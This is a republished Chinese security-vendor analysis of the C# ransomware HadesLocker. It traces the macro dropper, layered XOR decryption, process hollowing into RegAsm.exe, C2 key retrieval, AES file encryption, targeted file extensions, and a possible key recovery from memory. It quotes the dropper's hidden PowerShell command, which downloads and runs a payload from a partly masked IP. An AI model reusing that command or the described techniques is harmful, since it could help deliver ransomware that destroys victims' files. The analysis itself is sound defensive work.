专栏首页FreeBuf直面冥王:最新爆发的C#敲诈木马HadesLocker解读

直面冥王:最新爆发的C#敲诈木马HadesLocker解读

近日哈勃分析系统捕获到一类由C#语言编写的新的敲诈勒索木马。之前出现 的C#语言编写的木马只是简单地调用了一些C#库来辅助开发。与之相比,这次的变种增加了多层嵌套解密、动态反射调用 等复杂手段,外加多种混淆技术, 提升了分析难度。

木马加密文件时使用AES256算法, 在特定条件下可以还原加密的文件。

背景简介:

HadesLocker是10月份新爆发的一个敲诈勒索类木马,会加密用户 特定后缀名的文件,包括本地驱动器和网络驱动器, 加密后文件后缀为.~HL外加5个 随机字符,然后生成txt,html、png三种形式的文件来通知用户支付 赎金,桌面背景也会被改为生成的png文件。

打开支付赎金的网站可以看到,用户必须支付1比特币的赎金才能获取解密 密码,并且如果在规定的时间内没有支付,赎金价格将升至2比特币 。在该网站上,木马作者将其命名为HadesLocker。此网站域名为俄罗斯顶级域名ru,无法查询到进一步的注册信息。

样本分析:

原始传播文件依然延续了最近的趋势,使用宏文档进行传播,打开文档之后运行宏会 启动powershell命令,下载木马主体并且运行 :

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://185.*.*.66/update.exe','C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe'); Start-Process('C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe')

其中的下载IP经查询来自荷兰。

下载到的update345.exe是一个rar自解压 包,打开后可以看到包含3个文件, 其中一个exe是木马启动入口,另外两个文件均是一些二进制数据。

Osiyykss.exe是一个C#程序,所有 的源码都经过了混淆,主要包括函数名与变量名混淆 ,执行流程混淆,外加垃圾指令等。

例如下面是其中一个较为简单的被混淆的方法:

可以看到混淆形式如下:

while(true) { switch() case 1: case 2: …… }

使用其中硬编码的一些大数常量,然后 通过各种运算决定进哪个执行分支,以此 混淆执行流。因此后面可以看到,本文几乎所有截图中的代码 基本都在某个switch的case里。外加所有的字符串都是动态解密的,这 对静态分析造成了很大困扰,所以主要需要依靠动态调试这个样本。

Osiyykss.exe分析:

Osiyykss.exe启动后首先读取压缩包内的另一个文件Krrxoeoaonmsiyyk.png, 并且开始解密:

Krrxoeoaonmsiyyk.png解密后是一个C#程序集,解密 方法不算复杂,使用固定的字符串“Dlghooxwxclesvxamv” 为key,然后顺序异或加密。由此可得到 解密算法为:

For i in FileSize: FileBytes[i] ^= Key[ i % KenLen ];

解密后的程序集是这样的:

解密后Osiyykss.exe使用延迟绑定技术动态调用 这个名为”IE”的程序集:

IE程序集:

首先木马将自身复制到AppData\Roaming\wow6232node目录 下,此目录名怀疑是模仿系统中常见的WOW6432Node的名称。

然后创建一个快捷方式,指向wow6232node目录下的 新文件,并且将快捷方式设置为自启动项。

接下来读取压缩包的另一个文件Senagxehdojk.xml,并且调用IE:PolyDecrypt开始解密 ,解密的key与之前解密IE程序集的key一样 ,但是解密方法略有不同,解密算法大意如下:

For i in FileSize*2: FileBytes[i % FileSize] = (BYTE)(((int)((FileBytes[i % FileSize] ^ Key[i % KeyLen]) - FileBytes[(i + 1) % FileSize]) + 256) % 256);

Senagxehdojk.xml解密后为另一个程序集S oftware,这个程序集才是敲诈木马实现加密勒索的主要程序集,但木马十分狡猾,并没有直接调用该程序集。

说回IE程序集,IE程序集资源还包含了一个PE文件:

该PE文件也是一个C#程序集,名为C Lib,IE程序集使用反射技术动态调用 资源中Clib程序集的Pe.Run()。

CLib程序集:

接下来的流程在CLib程序集 上负责执行,上图可以看到,在调用此程序集 时还使用了3个参数,Injection是.net目录 下RegAsm.exe的全路径,parameters为null ,而vfile则是之前解密的Software 程序集的资源数据。

CLib程序集的功能比较单一,首先以 CREATE_SUSPENDED创建RegAsm.exe进程并挂起:

然后使用PeLoader技术,将RegAsm进程 的内存镜像替换为之前解密的software程序集, 然后恢复原RegAsm.exe进程继续执行。

Software程序集:

此时经过了层层的动态load、内存加载技术 ,终于要到了真正加密文件的地方了,按照之前流程所述, 虽然进程是RegAsm.exe,但这时RegAsm.exe的实际内存 其实已经被替换为Software程序集了。

Software程序集首先解密两段局部 变量保存的的二进制数据。第一段数据解密后发现又 是一个程序集,然后反射动态加载该程序集。

因为是从一个局部硬编码 的二进制数据中解密的,所以该程序集不是很大,用Reflector可以 看到该程序集并没有实际的功能,但资源里包含两个字符串,内容是 加密所有文件后,木马生成用来通知用户 支付赎金的文本,包括HTML 与TXT。

第二段数据解密后是木马 将要使用的所有的字符串数据,如赎金支付网址等。

然后,Software程序集从HKEY_CURRENT_USER\Software\Wow6232Node获取hwid和status的 值,如果不存在就创建该注册表项,并计算键值。

status代表当前加密状态,未加密为0,当加密完全盘后置为 1。

hwid代表被感染用户的唯一ID,这个ID很重要 ,用于表明受害者的身份,计算方法如下:先生成 一段GUID,然后把其中的“ -”替换掉,最后 取前0×10个字节,转为大写,就得到了当前用户的ID。

接下来,木马从http://ip-api.com/xml获取当前 的IP信息,以及获取计算机名,账户名等信息。

这些数据都获取到之后,木马会把数据发往服务器ng****tz.ru去 请求加密密钥,请求使用的是HTTP POST的方式, 参数包括之前计算的中招用户唯一ID,账户名,计算机名、 IP地址、国家信息等:

hwid=****&tracking_id=****&usercomputername=****&ip=*.*.*.*&country=CN

如果是在断网状态下,则木马 会不断尝试连接,直到连接成功,因此在断网状态文件不会 立即加密。

服务器接收到POST请求后 返回信息为如下格式:

"[STATUS=ACCEPTED][=][PASSWORD=0KDZX-zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn]"

其中的PASSWORD以“-” 分割为两部分。

第一部分表明加密后的文件的随机后缀名 ,文件后缀名规则为.~HL加上获取到的随机字符,所以本次被加密 文件的后缀名为.~HL0KDZX 。

第二部分为zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn,首先把 字符串根据ascii转换为二进制,然后计算一次SHA512,HASH完 的结果长度为0×40个字节,分为2个 部分,前0×20为Key1,中间0×10个字节为Key2, 两个Key都是接下来的文件 加密算法用到的参数。

接下来开始生成PNG、TXT、HTML三种格式的文件 用于通知用户,文件名规则为README_RECOVER_FILES_加HWID 再加上相应的后缀名。通知内容中, 支付赎金截止日期为系统当前时间加7天,其余一些 信息则简单做一些替换,比如用户当前的HWID、支付赎金的网站等。生成相应的文件内容后, 保存到系统关键目录下, 比如Documents,Pictures目录。

做完以上步骤之后,木马开始加密文件,会被此木马加密的所有 文件后缀名如下:

.contact .dbx .doc .docx .jnt .jpg .mapimail .msg .oab .ods .pdf .pps .ppsm .ppt .pptm .prf .pst .rar .rtf .txt .wab .xls .xlsx .xml .zip .1cd .3ds .3g2 .3gp .7z .7zip .accdb .aoi .asf .asp .aspx .asx .avi .bak .cer .cfg .class .config .css .csv .db .dds .dwg .dxf .flf .flv .html .idx .js .key .kwm .laccdb .ldf .lit .m3u .mbx .md .mdf .mid .mlb .mov .mp3 .mp4 .mpg .obj .odt .pages .php .psd .pwm .rm .safe .sav .save .sql .srt .swf .thm .vob .wav .wma .wmv .xlsb .3dm .aac .ai .arw .c .cdr .cls .cpi .cpp .cs .db3 .docm .dot .dotm .dotx .drw .dxb .eps .fla .flac .fxg .java .m .m4v .max .mdb .pcd .pct .pl .potm .potx .ppam .ppsm .ppsx .pptm .ps .pspima .r3d .rw2 .sldm .sldx .svg .tga .wps .xla .xlam .xlm .xlr .xlsm .xlt .xltm .xltx .xlw .act .adp .al .bkp .blend .cdf .cdx .cgm .cr2 .crt .dac .dbf .dcr .ddd .design .dtd .fdb .fff .fpx .h .iif .indd .jpeg .mos .nd .nsd .nsf .nsg .nsh .odc .odp .oil .pas .pat .pef .pfx .ptx .qbb .qbm .sas7bd .say .st4 .st6 .stc .sxc .sxw .tlg .wad .xlk .aiff .bin .bmp .cmt .dat .dit .edb .flvv .gif .groups .hdd .hpp .log .m2ts .m4p .mkv .mpeg .ndf .nvram .ogg .ost .pab .pdb .pif .png .qed .qcow .qcow2 .rvt .st7 .stm .vbox .vdi .vhd .vhdx .vmdk .vmsd .vmx .vmxf .3fr .3pr .ab4 .accde .accdr .accdt .ach .acr .adb .ads .agdl .ait .apj .asm .awg .back .backup .backup .bank .bay .bdb .bgt .bik .bpw .cdr3 .cdr4 .cdr5 .cdr6 .cdrw .ce1 .ce2 .cib .craw .crw .csh .csl .db_jou .dc2 .dcs .ddoc .ddrw .der .des .dgc .djvu .dng .drf .dxg .eml .erbsql .erf .exf .ffd .fh .fhd .gray .grey .gry .hbk .ibank .ibd .ibz .iiq .incpas .jpe .kc2 .kdbx .kdc .kpdx .lua .mdc .mef .mfw .mmw .mny .moneyw .mrw .myd .ndd .nef .nk2 .nop .nrw .ns2 .ns3 .ns4 .nwb .nx2 .nxl .nyf .odb .odf .odg .odm .orf .otg .oth .otp .ots .ott .p12 .p7b .p7c .pdd .pem .plus_m .plc .pot .pptx .psafe3 .py .qba .qbr .qbw .qbx .qby .raf .rat .raw .rdb .rwl .rwz .s3db .sd0 .sda .sdf .sqlite .sqlite .sqlite .sr2 .srf .srw .st5 .st8 .std .sti .stw .stx .sxd .sxg .sxi .sxm .tex .wallet .wb2 .wpd .x11 .x3f .xis .ycbcra .yuv

在加密过程中,为了保证系统正常运行,如下几个目录会被木马跳过:

Windows、program files、program files(x86)、system volume information、 $recycle.bin

木马的加密方式为AES256对称加密, key为之前得到的key1, IV为key2,以0×1000为单位循环加密 ,对于文件大小小于0×1000的文件,使用0来 补齐。大于0×1000的文件,最后不够0×1000的内容重复使用 之前的buffer补齐。

加密完文件后,对于原始文件木马并没有 马上直接删除,而是先生成随机数进行填充 ,并且篡改了文件的创建时间、最后访问时间等,最后再进行删除 。这样做的目的是防止使用一些文件恢复工具进行恢复, 从中也可以看出此木马为了获取非法利益给受害者造成了非常大的破坏。

在加密了全盘文件后,木马会打开HTML和TXT文件 ,并且修改桌面背景以通知用户支付赎金。

密钥与解密:

在加密过程中,可以看到木马使用的是 AES加密,所以如果知道密钥是可以恢复文件的,而密钥获取 是通过向服务器POST请求拿到PASSWORD,然后通过SHA512计算 来的。遗憾的是,就算使用固定的 HWID,IP等信息,每次请求获取到的PASSWORD 都不相同,可见服务器进行了一些随机化处理,因此这个方法获取 密钥是行不通的。

不过,服务器传回的PASSWORD信息,在木马 的主体,也就是RegAsm.exe进程的 内存里可以找到,而且RegAsm.exe在完成所有加密后并不会退出, 因此如果在用户重启电脑之前,能够从内存中提取出这段密钥,可以尝试还原被加密的文件。

*作者:腾讯电脑管家(企业账号),转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf),作者:腾讯电脑管家

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-11-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 域名背后的真相,一个黑产团伙的沦陷

    前言 很多小伙伴溯源一般只追查到whois信息,但个人认为该信息未必是真实有效的,挖掘背后的信息才是正章。 起因 今天在朋友圈,看到朋友发了一条信息,说收到带病...

    FB客服
  • 从一条微博揭秘“专黑大V名人”的定向攻击

    前言 本月初微博上有知名大V晒出一封私信截图,私信是以某记者名义发出,要求采访该大V博主,并提供了一个网盘链接作为“采访提纲”。当博主下载网盘中存放的所谓“采访...

    FB客服
  • 南海网络谍影 | F-Secure报告之木马NanHaiShu分析

    声明:本文为F-Secure报告翻译,文中及的观点立场不代表本网站观点立场。 ? 1. 前言 本报告描述了我们发现并命名的木马-NanHaiShu(NanH...

    FB客服
  • 《边缘计算优势》白皮书丨附下载

    2019年,美国工业互联网联盟(IIC)发布《边缘计算优势》白皮书。报告深入浅出地分析了边缘计算的特征,定义了边缘计算及其实现方式,展望了边缘计算的商业优势,指...

    边缘计算
  • 【Python3】Python模块与包

    Python 模块(Module),是一个 Python 文件,以 .py 结尾,包含了 Python 对象定义和Python语句。

    py3study
  • MicroPython技术及应用前景

    MicroPython极精简高效的实现了Python3语言。它包含Python标准库的一小部分,能在单片机和受限环境中运行。

    阿莉埃蒂
  • 认识ASP.NET 5项目结构和项目文件xproj

    ASP.NET 5 在项目结构上做了很大的改变,我们以前熟悉的目录结构与项目文件内容都不太一样了,本篇文章带大家了解 ASP.NET 5 到底跟以前有哪些不一样...

    张善友
  • python模块和包

    一个模块就是一个包含了python定义和声明的文件,文件名就是模块名字加上.py 的后缀。

    超蛋lhy
  • 跟我学Spring Cloud(Finchley版)-21-Spring Cloud Config-配置属性加解密

    前文都是将配置明文存储在Git仓库中,但在实际项目中,敏感的配置属性(例如数据库账号、密码等),都应加密存储,从而提高安全性。

    用户1516716
  • 使用Jmeter如何测试http下载接口

    jmeter技术研究

扫码关注云+社区

领取腾讯云代金券